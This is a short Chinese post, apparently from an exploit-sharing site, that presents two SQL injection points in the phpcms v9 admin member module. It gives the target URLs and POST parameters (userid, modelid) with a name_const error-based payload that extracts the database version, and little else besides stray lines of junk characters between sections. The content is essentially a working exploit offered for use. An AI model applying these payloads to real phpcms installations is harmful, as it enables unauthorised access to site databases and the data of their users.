phpcms两处后台的SQL注入

admin

(一)：
  G+ c5 j# a# Z2 m, e( D6 ]

http://www.0day5.com/phpcmsv9/index.php?m=member&c=member&a=delete&pc_hash=GlyB7G&id

post

userid=(select * from (select * from(select name_const(@@version,0))a join (select name_const(@@version,0))b)c)

7 L% @6 M  Z7 Y; \7 b) m  e( K
  c$ g) k) J/ h; Q6 `# |
+ d& t# n5 O! c) l' \* w4 o9 B

(二)：

http://www.0day5.com/phpcmsv9/index.php?m=member&c=member_model&a=delete&pc_hash=GlyB7G

post

modelid=(select * from (select * from(select name_const(@@version,0))a join (select name_const(@@version,0))b)c)